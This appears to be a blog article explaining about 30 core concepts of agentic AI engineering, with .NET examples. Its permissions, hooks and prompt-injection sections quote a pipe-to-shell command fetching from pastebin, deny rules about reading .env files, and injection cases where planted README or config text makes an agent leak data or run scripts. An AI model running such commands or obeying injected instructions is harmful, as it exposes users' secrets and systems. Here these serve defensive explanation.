Somebody on your team just asked if you've tried the new agent framework that launched this morning. You haven't. You also haven't tried last week's, or the one from the week before. At some point you stop feeling behind and start wondering if "behind" is even the right frame.

It isn't. The tools rotate constantly. One calls something a skill, another calls it a rule, another calls it a workflow, and underneath all three sits the exact same idea: give the model a written process instead of making it guess. Once you've seen that pattern once, you stop needing to learn it again every time it wears a new name.

💡
The key insight

Agentic engineering has maybe 30 real ideas in it. Everything shipping this week is a repackaging of some subset of them. Learn the 30, and every new launch becomes something you can place in five minutes instead of something you have to chase.

1. Agent

An agent is an LLM that keeps working after its first response instead of stopping there.

A regular chatbot answers once and waits. An agent decides on a next step, calls a tool, reads what came back, and decides again, in a loop, until the task is actually finished. That loop is the entire mechanism, nothing more mystical than reading a result and adjusting the next move based on it.

Picture a .NET service where a nightly batch job starts failing intermittently. A one-shot prompt can only guess at the cause from a pasted stack trace. An agent given shell and file access reads the actual exception, opens the repository class it points to, notices a race condition on a shared static dictionary, patches it with a lock, and reruns the job to confirm. Each of those five moves depended on what the previous one revealed, something no single prompt could have planned for in advance.

Once you see the loop, you stop reaching for an agent on tasks that don't need one, formatting a date or renaming a batch of files is still a script's job, not an agent's.

2. Execution Model

Every agent, regardless of branding, runs the same three-step cycle: think, act, observe.

The model reviews the goal and everything it has seen so far, picks an action, usually a tool call, and hands it to a controller layer that actually executes it and returns a result. The model reads that result and starts the next round. Some call this ReAct, some call it Think-Act-Observe, the mechanism doesn't change with the name.

Consider an agent asked to add structured logging across a payment microservice. Reading OrderController.cs, PaymentService.cs, and NotificationService.cs in parallel on the first turn is safe, since none of those reads depend on each other. But if two subagents try to edit PaymentService.cs at the same moment because the task wasn't split cleanly, one silently overwrites the other's work and the bug doesn't surface until the next deploy fails in a way nobody can immediately explain.

Knowing this loop is what tells you when parallel tool calls are a speed win and when they're a collision waiting to happen.

3. Agent State

State is a simple question: what does the agent actually know right now?

Part one is the context window, everything currently loaded: your messages, the system prompt, prior tool calls and their results. It's capped by a token limit and disappears when the session ends. Part two is everything outside it, files, databases, saved memory, none of which counts as "known" until it's actually pulled into context.

A .NET monorepo where two subagents are both told to "update the shared Result<T> type" is the clean failure case. Without isolated workspaces, the second agent's edit silently clobbers the first's, and the resulting merge conflict looks like a normal git accident rather than what it actually was: two processes racing on the same file with no coordination between them.

Git worktrees fix this by giving each agent its own working copy, so state collisions become a merge decision a human makes deliberately instead of a bug that ships by accident.

C# — Minimal session memory persisted as JSON
public record SessionMemory(
    string ProjectConvention,
    string LastDecision,
    DateTime UpdatedAt);

public static async Task SaveAsync(SessionMemory memory)
{
    var json = JsonSerializer.Serialize(memory);
    await File.WriteAllTextAsync("memory.json", json);
}

4. Common Agent Patterns

Three shapes keep showing up once more than one agent is involved in a task.

Planner/executor splits planning from doing, since the two need different modes of thinking. Router/specialist sends a request to a narrower agent built for that specific kind of work. Map-reduce splits a big task into independent pieces run in parallel, then merges the results back into one output.

A 40-file pull request reviewed by five subagents working eight files each, followed by one aggregator agent writing the final summary, is the map-reduce case in practice. It's fast, but only as good as that last merge step, a weak aggregator can drop a real security finding from one of the five reviews without anyone noticing until the vulnerability ships.

The pattern you pick matters less than the handoff between agents, too little context passed forward and the next agent is lost, too much and it burns its budget parsing noise instead of doing the actual work.

5. Agent Config Files

An agent's default system prompt has zero knowledge of your specific project.

It doesn't know you're on pnpm instead of npm, doesn't know your folder conventions, doesn't know which patterns your team has already ruled out. Left alone, it guesses, and the guess is whatever showed up most often in training data, which is frequently not what you want. A config file, CLAUDE.md for Claude Code, AGENTS.md elsewhere, closes that gap by giving the agent project-specific rules it loads at session start.

Three lines can eliminate entire categories of guessing: "use dotnet test for the suite," "new endpoints go through IValidator<T> before the handler," "never touch appsettings.Production.json directly, secrets come from environment variables." Without them, an agent might quietly hardcode a connection string into a config file it assumes is safe to edit, and that string ends up committed to a public repo before anyone reviews the diff.

Keep the file under 100 lines and treat it like production code: review changes, delete rules that stopped mattering.

6. Reusable Workflow Files

A config file loads every session. A workflow file loads only when it's relevant to the current task.

These are small Markdown files with a YAML header, a task-specific playbook for writing tests, reviewing a PR, or migrating a schema. The description field is what matters most, a clear one tells the agent exactly when to reach for it, a vague one gets ignored or misapplied at the wrong moment.

In SkillsBench, researchers gave models short, human-written workflows across 86 tasks. Claude Haiku with a good written skill beat Claude Opus with none, a cheaper model with a clear process outperforming a stronger model working blind. When the model wrote its own skill instead, the advantage vanished entirely, self-generated instructions sound useful without narrowing anything down.

Keep the layers separate: permanent rules in the config file, repeatable process in the workflow file, whatever's unique to right now in the live prompt.

7. Workflow Frameworks

Without an enforced process, agents cut corners, declaring a task done before it is, skipping tests, rationalizing a weak fix instead of addressing the real problem.

A workflow framework forces a sequence, understand, plan, implement, test, review, so the agent can't skip straight to code. Superpowers bundles curated skills for things like test-driven development with rules strict enough to stop shortcuts. Compound Engineering splits work into plan, work, review, and a "compound" phase that captures what was learned so the next similar task starts ahead instead of from zero.

After shipping a rate-limiting feature under a Compound Engineering setup, that compound phase might write into memory: "rate limiting here uses a sliding window, not a fixed bucket, because of how the billing cycle resets." Without that note, the next agent touching rate limits re-derives, or worse, re-breaks, a decision that was already settled with real production data.

Different tools, same underlying goal: stop the agent from typing before it understands the problem.

8. Prompt Caching

Every turn in an agent session tends to repeat the same stable material: system prompt, config file, loaded workflows, tool schemas.

Reprocessing all of that from scratch on every call wastes tokens and adds latency for content that hasn't changed. Prompt caching stores that stable prefix after the first call, so later calls reuse it at a much lower cost. The catch is TTL, time to live, step away long enough and the cache expires, and the next call pays full price to rebuild it.

A 40-line config file plus three loaded skills costs real tokens on a session's first call. With caching active, the next fifteen turns barely touch that cost again, right up until the session goes idle past the TTL window and a return trip after lunch resets the meter.

Caching makes a good config file cheap to keep reusing. It does nothing to make a bloated one less bloated.

9. Context Rot

Caching solves cost. It doesn't solve attention, the tokens are still there and the model still has to sift through them.

As context grows, measurable accuracy drops, the detail that actually matters gets buried under everything else competing for focus. This applies everywhere: config files, memory, tool results, loaded skills.

A CLAUDE.md that grew to 300 lines over six months, half of it rules for a payment integration the team dropped in month two, causes the agent to make worse decisions on completely unrelated tasks. Not because those old rules are wrong, they're just still competing for attention against the ones that actually apply today, and the model has no way to know which half to ignore.

More context isn't automatically better context, prune what isn't actively improving a decision.

10. Model Context Protocol (MCP)

MCP is a standard interface for connecting agents to external tools and services without writing custom integration code for every combination.

The obvious pushback is fair: why not just call the API directly? A fully-loaded MCP setup burns tokens on schemas before the agent does anything useful. Deferred tool loading helps, the agent initially sees just names and short descriptions, pulling full schemas only when it decides to use a specific tool.

A team standardizing on an MCP server for their internal ticketing system, instead of five developers each writing their own script against that API, is the case where MCP earns its keep, auth and permissions get handled once, centrally, instead of five separate times with five separate places for a token to leak.

A solo developer is often fine with a script. A team coordinating access across ten people usually isn't.

11. Live Document Retrieval

Models have a training cutoff, so they don't know an API changed last month, and they rarely say so, they just answer confidently with the old behavior.

Tools like Context7 pull current library docs directly into context, so the agent works against what's true today instead of a frozen snapshot. DeepWiki does the same for GitHub repos specifically, grounding an answer in the actual code in front of it instead of general patterns from training.

Asking an agent to wire up MassTransit without retrieval can pull API calls from two major versions back, code that compiles clean and fails silently at runtime because the configuration pattern changed. With Context7 pulling current docs first, the agent uses what's actually deployed today.

Prompting shapes how well the agent reasons. Retrieval shapes whether what it's reasoning about is still true.

Standard search returns pages built for humans, navigation, ads, popups. None of that helps an agent, which just needs the content.

AI-native tools like Exa return cleaner material directly, extracted text and structured results, skipping the parsing step an agent would otherwise burn tokens on. The practical win shows up in automated workflows where that parsing cost adds up across dozens of queries.

An agent researching current .NET 9 minimal API patterns through AI-native search gets a handful of clean, relevant excerpts back in one step. The same query through a normal engine returns ten links the agent then has to open, load, and strip down individually before it has anything usable, five times the token cost for the same answer.

The saved tokens compound fast once search becomes a routine part of an agent's loop rather than a one-off.

13. Visual Output Generation

Agents aren't limited to source code. With the right tool access, they can produce designs, slides, diagrams, and video too.

Figma's MCP server exposes real design data, layout, spacing, components, so an agent reads an actual frame instead of guessing from a screenshot description. Diagram formats like draw.io are structured XML underneath, so an agent that understands the format can generate a diagram straight from a Terraform repo and, wired into CI, keep it in sync as the infrastructure actually changes.

A diagram generated once at project kickoff and never touched again is already wrong six months later, once three services and a queue have been added. Regenerating it from the real Terraform state on every merge means the diagram a new hire opens on day one actually matches what's running in production.

The pattern underneath all of this: the agent already writes code well, a skill just teaches it which format to target.

14. Persistent Memory

Most sessions start from zero, decisions made yesterday are gone unless something wrote them down first.

The simplest fix is a MEMORY.md file the agent reads at session start and updates as it works, conventions, architecture decisions, trade-offs worth not re-litigating. Keep it small, a bloated memory file causes the exact same problem as a bloated config file.

A memory entry reading "we chose optimistic concurrency over pessimistic locking for the inventory table because the measured write-conflict rate came in under 2% in production" saves a future session from re-arguing a decision that was already settled with real numbers, and possibly from reverting to the slower, more contentious approach out of pure unfamiliarity.

Start with a plain file, move to searchable memory once it gets too large to actually skim.

Not everything useful lives in an agent's own session history, meeting notes and old specs matter too, but the agent can't use what it has no way to search.

A tool like QMD acts like a local search engine over a team's broader knowledge base, queryable through an MCP server during a session. This differs from persistent memory, memory holds what the agent itself learned from doing the work, knowledge search reaches into material it never touched directly.

An agent building a billing feature that queries the team's knowledge base and surfaces a six-month-old spec explaining why refunds are capped at 90 days avoids shipping a feature that silently violates a business rule nobody thought to mention in the ticket.

Together, memory and knowledge search widen what the agent can draw on without cramming all of it into the prompt up front.

16. Subagents

A subagent is a smaller, purpose-built agent: a focused prompt, a limited toolset, a clean context window, returning a compressed result to the parent rather than the full transcript.

This buys parallelism, one subagent checking security, another checking test coverage, without stepping on each other, and it keeps the parent's context clean since the messy intermediate work stays contained.

A parent agent working on a payment feature that automatically dispatches a security-reviewer subagent the moment a diff touches anything under Payments/ gets back a short list of findings instead of a play-by-play of every file the subagent opened, keeping the main session focused on the actual feature work.

If a subagent needs a huge pile of background just to do its job, that's usually a sign the task wasn't split correctly.

17. Agent Loops

An agent loop reruns the same agent repeatedly with a fresh context each time, storing progress in files and Git instead of dragging every past turn forward.

It's the subagent principle, keep the live context small, applied across iterations of one long task rather than a single delegation. Migrating a codebase file by file, or fixing a batch of failing tests in groups, are the natural fits.

Migrating 60 legacy controllers to a new base class one loop iteration per controller, each starting with a clean context containing only the target file and the migration pattern, avoids the alternative: one giant session slowly accumulating the history of all 59 prior migrations until the model starts confusing which controller it's currently working on.

Claude Code's /goal implements this directly, defining a completion condition the loop checks against on every iteration.

18. Orchestration Tools

Once several agents run at once, something has to manage them, otherwise you get duplicated work and results that don't fit together.

Conductor gives Claude Code and Codex a shared UI for parallel sessions with a built-in diff viewer. Vibe Kanban takes the simplest route, a kanban board where cards get assigned to agents and tracked visually as they move.

A solo developer running three parallel sessions, add rate limiting, fix a flaky test suite, update API docs, tracked as three cards on one board instead of three unlabeled terminal windows, is the difference between knowing at a glance what's stuck and discovering it two hours later when nothing has moved.

Coordination and merging become real problems the moment more than one agent touches the same codebase.

19. Managed / Cloud-Hosted Agents

A managed agent runs on the vendor's infrastructure instead of your machine, the vendor supplies the sandbox, the tool loop, and the container.

You define the model, prompt, tools, and skills, your application sends events in and streams progress back through an API. This matters when agents work on behalf of your own product's users rather than just you.

A SaaS product offering "AI code review" as a customer-facing feature has to run that through a managed agent, since customers expect it to keep working whether or not anyone on the team happens to have a local session open at that moment.

For your own repo, a local agent with worktrees is usually the cheaper option. For a product serving many users, hosted infrastructure is the one that actually scales.

20. Sandboxing

Sandboxing restricts what an agent can touch, which files, which network destinations, because agents make mistakes and the sandbox limits how much damage any single one causes.

Most tools default to project-folder access with SSH keys, cloud credentials, and system folders blocked, plus a network allowlist. For genuinely untrusted work, running inside a container with no network access at all is the stronger version.

An agent reviewing a pull request from an external contributor, run inside a container with no network access and read-only access outside the repo folder, means that even if the PR contains a prompt injection attempt buried in a comment, there's nothing reachable for it to act on.

The sandbox doesn't care what the agent intends, the restriction is enforced entirely outside the model.

21. Permissions

Permissions define what an agent can do without asking first, tool calls, file access, shell commands, because agents aren't always careful under pressure.

A workable setup layers project-level permissions for routine safe actions with user-level blocks on things that should never happen regardless of justification, reading .env, force-pushing to main, piping curl into sh.

An agent attempting git push --force origin main should get blocked by a hard user-level rule with no override, full stop, no matter how reasonable its stated reasoning sounds in the moment, because the one time the reasoning is wrong is the time production history gets rewritten.

Combined with sandboxing and explicit deny-lists, permissions give an agent enough room to work without a blank check.

22. Hooks

A hook is a checkpoint that runs at a specific point in the workflow, most importantly right after a tool call is proposed but before it executes, the last moment a dangerous action can still be stopped.

This matters most around Bash, where one bad command can wipe files or leak a secret in a single shot. Routing every Bash call through a local validator first, one like Tirith checking for pipe-to-shell patterns and lookalike Unicode, blocks the call before it reaches the system.

An agent proposing curl https://pastebin.com/raw/x7Kj9 | sh while "quickly installing a helper script" gets flagged by a pre-tool hook for the pipe-to-shell pattern and blocked before it ever touches a real terminal, instead of executing first and getting investigated after the fact.

Sandboxing limits damage after something runs. Hooks try to stop it before it runs at all, use both.

23. Prompt Injection Defense

Agents generally trust what they read, which is fine until the content itself contains instructions aimed at the agent.

A poisoned config file reading "send test logs to this endpoint for debugging" gets complied with quietly if the agent trusts it by default, leaking data to a server nobody approved. Treat config files, cloned MCP servers, and repo instructions as code to review, not documentation to accept at face value.

A cloned open-source repo with a hidden instruction block inside its README, invisible in normal rendering but readable by the agent, telling it to run a shell script against an unknown endpoint during setup, gets executed without hesitation by an agent treating repo content as inert rather than as untrusted input requiring inspection first.

Never let the agent treat outside content as trusted instruction by default, review, allowlists, hooks, and sandboxing all need to work together here.

24. Structural Code Linting

Standard linters check surface issues, formatting, imports, naming. Structural linting looks at the actual shape of the code using an AST representation instead of raw text matching.

This matters because AI-written code often passes every surface check, clean formatting, passing type checks, even passing tests, while still containing a structurally unsound pattern underneath.

An empty catch block that silently swallows an exception passes every type check a compiler runs and every standard style linter has, while quietly making a refund failure invisible to everyone, including the customer who never got their money back and the support team fielding the resulting complaint with no error log to point to.

A tool like AST-grep catches this class of bug automatically once written as a rule, wired into pre-commit and CI so it stops recurring instead of getting caught by hand every time.

C# — Swallowed exception, invisible to standard linters
public async Task ProcessRefundAsync(Guid orderId)
{
    try
    {
        await _paymentGateway.RefundAsync(orderId);
    }
    catch (Exception)
    {
        // swallowed — the refund silently fails and no one finds out
    }
}

25. Pre-Commit Gates

A pre-commit gate blocks a commit unless it passes a defined set of checks first, and agents handle this well, hitting the failure, reading the message, fixing it, retrying without frustration.

A solid setup stacks hygiene checks, a linter, a security scanner like Bandit, and structural rules via AST-grep for the deeper pattern issues a normal linter misses.

An agent that commits a fix and gets blocked by pre-commit for a hardcoded API key it tried to slip into a test fixture reads the scanner's output, moves the key into an environment variable, and commits again cleanly, all without a human needing to step in and catch it during review, which is usually too late anyway since the key already touched local history.

Pre-commit protects local history, CI still matters since local hooks can be skipped with --no-verify.

26. Observability

Once agents are doing real, unsupervised work, the natural question becomes: what did it actually do?

Observability covers the answer, tracing the path an agent took, logging the raw record of what happened, and measuring patterns across many runs over time. Without it, every failure is a black box debugged by guesswork alone.

A team that ships a feature built entirely by an agent over a weekend loop, and on Monday needs to explain why it chose one database schema over an obvious alternative, has no answer beyond re-reading the final diff and guessing, unless the run was actually traced and logged as it happened.

The three concepts that follow, tracing, metrics, and logging, are what turn that guesswork into an actual answer.

27. Tracing

A trace reconstructs an agent's run step by step, which tools were called, which subagent called what, how long each step took, and the reasoning behind key decisions.

Structured as a tree rather than a flat list, a trace shows how one step actually led to the next, which is what makes debugging a long, multi-step run tractable instead of overwhelming. Some of this comes free from basic harness logging, real tracing usually needs dedicated tooling like LangSmith or an OpenTelemetry setup.

A trace showing an agent called read_file on the wrong controller three times before correcting itself on the fourth attempt explains exactly why that particular task took four times longer than a similar one, information a flat log of just the final diff would never surface.

When something goes wrong, the trace is where you start, walking the real path instead of guessing at what probably happened.

28. Metrics

Most agent metrics are proxy signals, useful, but not proof of actual success, latency, token usage, cost, tool call counts, failure counts.

All of this typically comes straight from existing logs and catches obvious problems, runaway spend, a tool stuck in a repeat loop, a simple task taking far longer than it should. Outcome metrics matter more but take real work to wire up, since an agent reporting "task complete" is a claim, not evidence.

An agent with excellent proxy metrics, low latency, low token spend, few tool calls, can still be producing pull requests that get rejected in review nine times out of ten. Only an outcome metric like merge rate, pulled from GitHub rather than from the agent's own self-report, would surface that gap before it burns another sprint's worth of review time.

Track both, proxy metrics catch waste, outcome metrics tell you if the work actually landed.

29. Logging

Logging is the foundation everything else in observability sits on, a plain, append-only record of what actually happened during a run.

At minimum, capture every model call, every tool call, every error, and a single session ID tying the whole run together. Simple structured formats work best here, JSON Lines in particular, since each event becomes one clean, independently searchable record.

A session ID that ties together a model call, four tool calls, and a final error, all searchable in the same JSON Lines file, turns a "why did this break at 2am" investigation into a five-minute grep instead of an unsolvable mystery with no starting point and no way to reconstruct what the agent actually saw at the time.

Log generously up front, storage is cheap compared to a run you can't reconstruct after the fact.

30. Prompt Engineering

Prompt engineering is the discipline of shaping what you send the model so it reliably produces what you actually need, separate from the agent loop or any infrastructure wrapped around it.

The core moves stay consistent: state the task and its constraints explicitly instead of implying them, show examples of the output format you want rather than describing it abstractly, ask for a specific structure when the output feeds into something else downstream, and break a large ask into smaller steps when one instruction is quietly doing the work of five.

A prompt for a code-review workflow that just says "review this code" gets vague, inconsistent feedback the agent can interpret five different ways depending on the day. The same prompt rewritten to ask for null-reference and unhandled-exception issues only, returned as a JSON array of file, line, and issue, produces output consistent enough to feed straight into a CI check without a human reformatting it first.

Treat it like the config files and workflow files earlier on this list, something you revisit when output drifts, not a step you write once and forget.

None of this makes the next tool launch irrelevant. It just changes what you're doing when you look at it, instead of learning a new system from zero, you're checking which of these 30 ideas it implements, and which it skips. That's a five-minute read instead of a week of onboarding, every single time.

Free Resource

Get the Free Interview Guide

A free PDF breaking down the system design and trade-off questions that actually come up for engineering roles. No fluff, just the patterns that show up in real interviews.

Get the free PDF →